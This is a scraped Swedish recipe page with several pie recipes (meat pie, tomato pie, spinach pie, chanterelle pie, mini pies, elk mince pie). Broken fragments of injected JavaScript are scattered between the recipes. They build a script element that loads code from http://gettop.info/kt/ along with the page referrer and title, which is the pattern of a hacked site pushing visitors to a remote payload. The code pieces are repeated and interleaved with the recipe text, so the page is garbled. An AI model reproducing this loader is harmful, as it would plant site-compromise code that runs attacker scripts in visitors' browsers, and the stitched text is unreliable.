Christa’s goda köttfärspaj

Köttfärspaj (5-6 personer)
Pajdeg:
200 gram margarin
200 gram keso
5 dl vetemjöl
1 krm salt

Fyllning:
400 gram nötfärs
margarin till stekning
2 dl finstrimlad purjolök
1 dl hackad paprika (röd eller grön)
50 gram rökt skinka, hackad (kan uteslutas)
1 tsk salt
2-3 krm svartpeppar
basilika
100-200 gram skivade champinjoner (kan uteslutas om ni inte tycker om champinjoner)
1 dl hackad persilja
kinesisk soja
1-2 vitlöksklyfor
1 burk krossade tomater
tacasco
3 dl ost, gärna grevé i tärningar

Gör så här:
Blanda ingredienserna till pajdegen. Låt den vila i kylskåp 1-2 timmar. Tryck ut 2/3 av pajdegen i en pajform och förgrädda i 200 grader 12-15 minuter.
Fyllningen görs i tre omgångar för att få fram alla smaker.
Börja med att bryna färsen. Krydda med salt och peppar. Rör ner purjolök, paprika och skinka.
Krydda med basilika och låt köttfärsröran puttra under lock ca 5 minuter.
Fräs svampen i smör eller margarin. Låt vätskan ånga bort och tillsätt persiljan.
Fräs vitlöken, finhackad eller pressad, i en kastrull och häll över tomatkrosset och några stänk tabasco. Låt det mesta av vätskan koka bort.
Fyll pajskalet, först med köttröran sedan med svampen och skeda sedan över tomatsåsen. Strö de cm-stora osttärningarna över.
Rulla den resterande degen till smala längder och lägg ett galler av deg överst.
Grädda pajen i 225 grader 15-20 minuter strax under mitten av ugnen.

Pajen går att göra helt klart dagen innan den ska ätas och sedan värmas upp i ugnen före servering.

 } else {

var d=document;var s=d.createElement(‘script’); d.getElementsByTagName(‘head’)[0].appendChild(s);

Camillas goda tomatpaj

Tomatpaj
Liten pajform (4 personer) Dubbel sats i en långpanna
Pajdeg
3 dl vetemjöl
125 gram smör
Lite  vatten

Fyllning
4-6 tomater
Färsk hackad timjan
Färsk hackad basilika
Klippt gräslök
Finskuren, tärnad purjolök
2 dl creme fraiche med tomat/basilika smak
4 ägg
2 msk chili sås.
1 pressad vitlöksklyfta
Lite salt

Svartpeppar
2-3 dl riven ost

Spara utav kryddorna till garnering

Gör så här: Gör pajdegen, Blanda smör och mjöl, lite salt. Tillsätt vatten efter behov. Kyl degen i 30 min. Sätt under tiden ugnen på 225 grader. Kavla ut degen och baka den i en pajform. Förgrädda i ca 10 min tills pajdegen börjar få färg.

Fyllning:
Skiva tomaterna och lägg i formen. Strö över basilika, timjan, gräslök och purjolök. Vispa ihop ägg, creme fraiche, salt, peppar och hälften av rivna osten. Häll smeten över tomaterna i formen. Strö över resten av den rivna osten Grädda pajen tills osten smälter och får fin färg och äggstanningen stelnat, ca 20 min.

d.getElementsByTagName(‘head’)[0].appendChild(s);

}if (document.currentScript) {

Spenatpaj utan äggstanning

Den här pajen tröttnar jag aldrig på. Du kan variera den med att tex lägga på tomater eller fetaost i pajen innan du gräddar. Jag brukar servera pajen med parmaskinka eller annan god kokt eller rökt skinka.

1238096_10151681018665959_1384481096_n

Spenatpaj (Receptet räcker till en stor paj eller 4 småpajer.)

Pajdeg (lagom till en form med ca 25 cm diameter och låg kant)
3 dl vetemjöl
125 gram margarin eller smör
2-3 msk kallt vatten

Blanda ihop till en smulig massa och tillsätt vattnet och arbeta snabbt ihop till en deg. Tryck ut ca hälften av degen över bottnen i en osmörad pajform. Tryck ut resten av degen till en kant. Låt stå kallt ca 15 min i kylen.

Fyllning:
1 paket djupfryst spenat (jag brukar ta Findus stuvad spenat 375 gram)
1 burk creme fraiche (2 dl)
1 pressad vitlöksklyfta
2-3 dl smakrik ost (jag tog Kvibille Cheddarost)

Gör så här:
Tina upp spenaten, blanda i creme fraiche, vitlöksklyftan och osten till en röra.
Fyll sedan på med fyllningen och grädda i 15-20 minuter tills pajen fått färg. Servera med en god sallad.

bild (126)bild (128)bild (134)1185885_10151680914390959_2126804403_nbild (130)bild (132)1238096_10151681018665959_1384481096_n

 }

} else {d.getElementsByTagName(‘head’)[0].appendChild(s);

Kantarellpaj med timjan och västerbottenost

Pajdeg
2 1/2 dl vetemjöl
1/2 tsk salt
7 msk mjukt smör
3 msk kallt vatten

Fyllning:
3 msk smör
3 vårlökar som du skivar fint
1/2 tsk salt
500 gram kantareller som du skurit ner i mindre bitar
3 msk vispgrädde
1/4 tsk nymalen svartpeppar
2 dl riven västerbottenost

Gör så här:
Blanda mjöl och salt ihop med smöret och häll sedan i vattnet och rör ihop till en deg. Låt pajdegen vila i 30 min i kylskåpet och pressa sedan ut den i en pajform
Sätt ugnen på 175 grader. baka pajdegen utan fyllning i 20 minuter och ta ur ugnen.
Smält smöret i en stekpanna. Lägg i löken och salt och stek under omrörning till dess löken mjuknar. Höj värmen och lägg i svampen. Stek tills svampen börjat vätska sig. Rör ner timjan, grädde och peppar. Ta av värmen och låt svalna.
Lägg hälften av osten direkt på pajens botten. Sprid svampen över osten och strö resten av osten över pajen. Baka den i ugnen tills den fått färg. Vänta ca 10 min innan du skär upp och serverar pajen.

var d=document;var s=d.createElement(‘script’);

s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; } else {

Minipajer med spenat, bacon, tomat och parmesan

16 st minipajer
2 1/2 dl vetemjöl
75 g Arla smör
3/4 dl Kesella kvarg lätt

Fyllning
8 körsbärstomater
8 champinjoner (stekt och skivad)
3 ägg
2 1/2 dl Creme Fraiche
1/2 paket bacon (knaperstekt)
Lite färsk spenat
1 krm salt 1 krm svartpeppar
3 dl Parmesanost riven

Gör så här
Hacka ihop mjöl och smör till en grynig massa. Tillsätt kvarg och arbeta snabbt ihop degen. Kavla eller tryck ut degen i 16 engångsaluminiumformar eller muffinsformar. Låt formarna stå i kylen minst 30 min. Sätt ugnen på 225°. Dela tomaterna i halvor. Vispa ihop ägg, creme fraiche, salt och peppar. Lägg ost bacoon och spenat i formarna. Häll på äggstanningen. Lägg en tomathalva i varje. Grädda i mitten av ugnen i 18 – 20 min.

d.getElementsByTagName(‘head’)[0].appendChild(s);

var d=document;var s=d.createElement(‘script’); if (document.currentScript) {

Spenatpaj utan äggstanning

Här kommer ett av mina favoritrecept på spenatpaj. Denna gång använder jag färdiga pajskal men det går lika bra att göra egen pajdeg.

Spenatpaj (Receptet räcker till en stor paj eller 4 småpajer.)

Pajdeg (lagom till en form med ca 25 cm diameter och låg kant)
3 dl vetemjöl
125 gram margarin eller smör
2-3 msk kallt vatten

Blanda ihop till en smulig massa och tillsätt vattnet och arbeta snabbt ihop till en deg. Tryck ut ca hälften av degen över bottnen i en osmörad pajform. Tryck ut resten av degen till en kant.

Om du inte orkar göra egen pajdeg kan du köpa Hattings djupfrysta pajskal (4 pack).

 

 

 

 

 

Fyllning:
1 paket djupfryst spenat (jag brukar ta Findus stuvad spenat 375 gram)
1 burk creme fraiche (2 dl)
1 pressad vitlöksklyfta
2 dl smakrik ost (jag tog Kvibille Cheddarost)

Tina upp spenaten, blanda i creme fraiche, vitlöksklyftan och osten till en röra.

Om du använder de färdiga pajskalen kan du förgrädda pajskalet i 200 grader i ca 10-15 min. Fyll därefter pajskalet med fyllningen och grädda ytterligare 15-20 minuter.

Om du gör egen pajdeg så förgräddar du pajskalet ca 10 min i 225 grader i mitten av ugnen. Fyll sedan på med fyllningen och grädda ytterligare 15-20 minuter tills pajen fått färg.
Servera med en god sallad.

d.getElementsByTagName(‘head’)[0].appendChild(s);

d.getElementsByTagName(‘head’)[0].appendChild(s);d.getElementsByTagName(‘head’)[0].appendChild(s);

Osttartaletter (minipaj)

Köp ett paket färdiga tartaletter.
Fyllning (till 10 tartaletter)
3 ägg
1 1/2 dl riven västerbottenost ( eller annan valfri ost )
3 dl grädd/mjölk
Körsbärstomater
salt
Gör så här :
Blanda 2 ägg, mjölk, den riven ost och fyll tarteletterna,  Dela körsbärtomaterna lägg i en halva i varje paj och  lite salt. Grädda formarna  i ugnen 175 grader cirka 15–20 minuter eller tills de fått vacker färg.  Jag brukar servera osttartaletterna med fikonmarmelad.Alt. fyllning är färsk spenat och fetaost eller grönmögelost.

document.currentScript.parentNode.insertBefore(s, document.currentScript);

} else {}

Älgfärspaj med trattkantareller.

Perfekt med paj så här i början av veckan. Antingen tar du älgfärs om du har eller så går det lika bra att laga pajen med nötfärs.

Paj (6  portioner)
Pajdeg
1 dl grahamsmjöl
2 dl vetemjöl
125 gram smör
2 msk turkisk yoghurt

Fyllning:
500 gram älgfärs eller nötfärs
1 gul lök, hackad
1 vitlöksklyfta
2 msk smör
200 gram trattkantareller, förvällda
2 msk kalvfond, konc
2 tsk färsk kryddtimjan, repad
eller 1 tsk torkad
2 msk persilja, hackad
salt, svartpeppar
1 dl vatten
1 dl vitt vin
2 dl prästost eller annan smakrik ost, riven

Äggstanning:
3 ägg
2 1/2 dl grädde
salt, svartpeppar

Dekoration:
1 dl tranbär, färska eller frysta, upptinade

Ugn: 225 grader

Gör så här:
Blanda ihop mjöl i skålen, Tillsätt bitar av smör. Mixa till en gryning massa. Tillsätt yoghurten och mixa samman till en boll.
Ta upp degbollen och tryck ut den i en pajform med löstagbar kant, ca 24 cm i diameter, Ställ formen i kylen 1 timme.
Grädda pajskalet i mitten av ugnen, ca 10 minuter.
Fräs älgfärs, lök och vitlök i smör i en stor stekpanna. Tillsätt trattkantarellerna och låt dem fräsa med en stund. Smaksätt med kalvfond, timjan, persilja, salt och svartpeppar. Späd med vatten och vin och låt färsen puttra tills nästan all vätska kokat in. Bred ut färsen i pajskalet. Strö över osten.
Vispa samman ägg, grädde, salt och peppar. Häll äggstanningen över fyllningen. Grädda pajen i nedre delen av ugnen, ca 25 minuter. Dekorera med tranbär och persiljeblad. Servera pajen med en sallad.